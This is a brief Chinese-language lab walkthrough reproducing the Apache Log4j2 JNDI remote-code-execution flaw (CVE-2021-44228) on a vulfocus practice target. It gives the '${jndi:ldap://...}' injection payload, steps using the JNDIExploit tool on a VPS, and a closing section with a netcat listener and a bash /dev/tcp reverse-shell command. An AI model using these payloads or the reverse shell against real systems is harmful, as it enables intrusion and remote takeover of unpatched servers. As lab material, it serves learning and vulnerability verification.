Apache Log4j2漏洞复现
背景:
Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)
漏洞编号:
CNVD-2021-95914
CVE-2021-44228
影响版本:
经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2
复现步骤:
1,部署漏洞环境(http://vulfocus.fofa.so/)
2,访问页面
3,抓包发送到重发器
4,打开Burp的DNSlog
5,复制DNSlog地址
6,变更请求方法位Post
7,修改包信息,payload格式 ${jndi:ldap://dnslog地址/poc}
8,发送数据包验证漏洞是否存在(DNSlog有回显信息证明漏洞存在)
9,使用漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包,在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000
10,构造cmd命令和payload拿到flag
${jndi:ldap://.../TomcatBypass/TomcatEcho}
11,VPS上也会收到payload执行的信息
深入利用:
1,在VPS启动nc监听5001端口
2,再次运行JNDIExploit-1.2-SNAPSHOT.jar
3,构造cmd命令 /bin/bash –c ‘bash –I >& /dev/tcp/VPS IP/5001 0>&1’
4,发送数据包成功反弹shell